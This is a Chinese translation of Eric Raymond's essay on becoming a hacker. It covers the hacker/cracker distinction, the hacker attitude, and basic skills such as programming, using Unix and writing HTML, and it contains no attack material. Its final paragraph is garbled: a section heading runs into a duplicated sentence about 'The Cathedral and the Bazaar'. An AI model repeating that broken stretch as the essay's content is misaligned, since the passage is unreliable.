长久以来,存在一个专家级程序员和网络高手的共享文化社群,其历史可以追溯到几十年前第一台分时共享的小型机和最早的ARPAnet实验时期。这个文化的参与者们创造了“黑客”这个词。黑客们建起了Internet。黑客们使Unix操作系统成为今天这个样子。黑客们搭起了Usenet。黑客们让WWW正常运转。如果你是这个文化的一部分,如果你已经为它作了些贡献,而且圈内的其他人也知道你是谁并称你为一个黑客,那么你就是一名黑客。
黑客精神并不仅仅局限于软件黑客文化圈中。有些人同样以黑客态度对待其它事情如电子和音乐---事实上,你可以在任何较高级别的科学和艺术中发现它。软件黑客们识别出这些在其他领域同类并把他们也称作黑客---有人宣称黑客实际上是独立于他们工作领域的。但在本文中,我们将注意力集中在软件黑客的技术和态度,以及发明了“黑客”一词的哪个共享文化传统之上。
另外还有一群人,他们大声嚷嚷着自己是黑客,实际上他们却不是。他们是一些蓄意破坏计算机和电话系统的人(多数是青春期的少年)。真正的黑客把这些人叫做“骇客”(cracker),并不屑与之为伍。多数真正的黑客认为骇客们是些不负责任的懒家伙,还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名黑客,正如拿根铁丝能打开汽车并不能使你成为一个汽车工程师。不幸的是,很多记者和作家往往错把“骇客”当成黑客;这种做法激怒真正的黑客。
根本的区别是:黑客们建设,而骇客们破坏。
如果你想成为一名黑客,继续读下去。如果你想做一个骇客,去读 alt.2600新闻组,并在发现你并不像自己想象的那么聪明的时候去坐5到10次监狱。关于骇客,我只想说这么多。
---黑客的态度
黑客们解决问题,建设事物,信仰自由和双向的帮助,人人为我,我为人人。
要想被认为是一名黑客,你的行为必须显示出你已经具备了这种态度。要想做的好象你具备这种态度,你就不得不真的具备这种态度。但是如果你想靠培养黑客态度在黑客文化中得到承认,那就大错特错了。因为成为具备这些特质的这种人对你自己非常重要,有助于你学习,并给你提供源源不断的活力。同所有有创造性的艺术一样,成为大师的最有效方法就是模仿大师的精神---不是仅从理智上,更要从感情上进行模仿。
So,如果你想做一名黑客,请重复以下事情直到你相信它们:
1这世界充满待解决的迷人问题
做一名黑客有很多乐趣,但却是些要费很多气力方能得到的乐趣。这些努力需要动力。成功的运动员从健壮体魄,挑战自我极限中汲取动力。同样,做黑客,你必须
要有从解决问题,磨练技术,锻炼智力中得到基本的热望。如果你还不是这类人又想做黑客,你就要设法成为这样的人。否则你会发现,你的黑客热情会被其他诱惑无情地吞噬掉---如金钱、性和社会上的虚名。
(同样你必须对你自己的学习能力建立信心---相信尽管你对某问题所知不多,但如果你一点一点地学习、试探,你最终会掌握并解决它。)
2.一个问题不应该被解决两次
聪明的脑瓜是宝贵的,有限的资源。当这个世界还充满其他有待解决的有趣问题之时,他们不应该被浪费在重新发明轮子这些事情上。作为一名黑客,你必须相信其他黑客的思考时间是宝贵的---因此共享信息,解决问题并发布结果给其他黑客几乎是一种道义,这样其他人就可以去解决新问题而不是重复地对付旧问题。
(你不必认为你一定要把你的发明创造公布出去,但这样做的黑客是赢得大家尊敬最多的人。卖些钱来给自己养家糊口,买房买车买计算机甚至发大财和黑客价值也是相容的,只要你别忘记你还是个黑客。)
3.无聊和乏味的工作是罪恶
黑客们应该从来不会被愚蠢的重复性劳动所困扰,因为当这种事情发生时就意味着他们没有在做只有他们才能做的事情---解决新问题。这样的浪费伤害每一个人。因此,无聊和乏味的工作不仅仅是令人不舒服而已,它们是极大的犯罪。要想做的象个黑客,你必须完全相信这点并尽可能多地将乏味的工作自动化,不仅为你自己,也为了其他人(尤其是其他黑客们)。
(对此有一个明显的例外。黑客们有时也做一些重复性的枯燥工作以进行“脑力休息”,或是为练熟了某个技巧,或是获得一些除此无法获得的经验。但这是他自己的选择---有脑子的人不应该被迫做无聊的活儿。)
4自由就是好
黑客们是天生的反权威主义者。任何能向你发命令的人会迫使你停止解决令你着迷的问题,同时,按照权威的一般思路,他通常会给出一些极其愚昧的理由。因此,不论何时何地,任何权威,只要他压迫你或其他黑客,就要和他斗到底。
(这并非说任何权力都不必要。儿童需要监护,罪犯也要被看管起来。如果服从命令得到某种东西比起用其他方式得到它更节约时间,黑客会同意接受某种形式的权威。但这是一个有限的、特意的交易;权力想要的那种个人服从不是你的给予,而是无条件的服从。)
权力喜爱审查和保密。他们不信任自愿的合作和信息共享---他们只喜欢由他们控制的合作。因此,要想做的象个黑客,你得对审查、保密,以及使用武力或欺骗去压迫人们的做法有一种本能的反感和敌意。
5.态度不能替代能力
要做一名黑客,你必须培养起这些态度。但只具备这些态度并不能使你成为一名黑客,就象这并不能使你成为一个运动健将和摇滚明星一样。成为一名黑客需要花费智力,实践,奉献和辛苦。
因此,你必须学会不相信态度,并尊重各种各样的能力。黑客们不会为那些故意装模做样的人浪费时间,但他们却非常尊重能力---尤其是做黑客的能力,不过任何能力总归是好的。具备很少人才能掌握的技术方面的能力尤其为好,而具备那些涉及脑力、技巧和聚精会神的能力为最好。
如果你尊敬能力,你会享受提高自己能力的乐趣---辛苦的工作和奉献会变成一种高度娱乐而非贱役。要想成为一名黑客,这一点非常重要。
基本黑客技术
黑客态度是重要的,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一套基本的技术你必须掌握。这套基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去包括使用机器码编程,而知道最近才包括了HTML语言。但现在明显包括以下技术:
1学习如何编程
这当然是最基本的黑客技术。如果你还不会任何计算机语言,我建议你从Python开始。它设计清晰,文档齐全,对初学者很合适。尽管是一门很好的初级语言,它不仅仅只是个玩具。它非常强大,灵活,也适合做大型项目。
但是记住,如果你只会一门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个普通程序员的水平---你需要学会如何以一个通用的方法思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会如何在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种不同的语言。
如果要做一些重要的编程,你将不得不学习C语言,Unix的核心语言。其他对黑客而言比较重要的语言包括Perl和LISP。 Perl很实用,值得一学;它被广泛用于活动网页和系统管理,因此即便你从不用Perl写程序,至少也应该能读懂它。 LISP值得学习是因为当你最终掌握了它你会得到丰富的经验;这些经验使你在以后的日子里成为一个更好的程序员,即使你实际上可能很少使用LISP本身。
当然,实际上你最好四种都会。(Python, C, Perl, and LISP).除了是最重要的四种基本语言,它们还代表了四种非常不同的编程方法,每种都会让你受益非浅。
这里我无法完整地教会你如何编程---这是个复杂的活儿。但我可以告诉你,书本和课程也不能作到。几乎所有最好的黑客都是自学成材的。真正能起作用的就是去亲自读代码和写代码。
学习如何编程就象学习用自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,又读些,又写点....如此往复,直到你达到自己在范文中看到的简洁和力量。
过去找到好的代码去读是困难的,因为很少有大型程序的可用源代码能让新手练手。这种状况已经得到了很大的改善;现在有很多可用的开放源码软件,编程工具和操作系统(全都有黑客写成)。这使我们自然地来到第二个话题...
2得到一个开放源码的Unix并学会使用、运行它
我假设你已经拥有了一台个人计算机或者有一个可用的(今天的孩子们真幸福:-))。新手们最基本的一步就是得到一份Linux或BSD-Unix,安装在个人计算机上,并运行它。
当然,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发送的---你无法读到它的源码,更不可能修改它。尝试在DOS或Windows的机器上学习黑客技术,就象是在腿上绑了铁块去学跳舞。
除此之外,Unix还是Internet的操作系统。你可以不知道Unix而学会用Internet,但不懂它你就无法成为一名Internet黑客。因为这个原因,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此很不高兴,但Unix和Internet之间的共生关系已是如此之强,甚至连微软也无可奈何)
So,装一个Unix---我个人喜欢Linux,不过也有其他选择。(你也可以在同一台机器上同时运行DOS,Windows和Linux)学会它。运行它。用它跟Internet对话。读它的代码。试着去修改他。你会得到比微软操作系统上好的多的编程工具(包括C,Lisp, Python, and Perl),你会得到乐趣,并将学到比你想象的更多知识。
关于学习Unix的更多信息,请看 The Loginataka.
要得到Linux,请看:哪里能得到 Linux.
3学会如何使用WWW和写HTML
大多黑客文化建造的东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对他人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大而耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的),你就需要学习如何掌握Web。
这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML,Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先建起自己的主页。
但仅仅建一个主页也不能使你成为一名黑客。 Web里充满了各种网页。多数是无意义的,零信息量垃圾。
要想有价值,你的网页必须有内容---必须有趣或对其它黑客有用。这样,我们来到下一个话题....
黑客文化中的地位大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“开拓智域”一文中有更直接的论述。
上一篇:玩游戏也能学黑客知识的软件
下一篇:玩游戏也能学习知识吗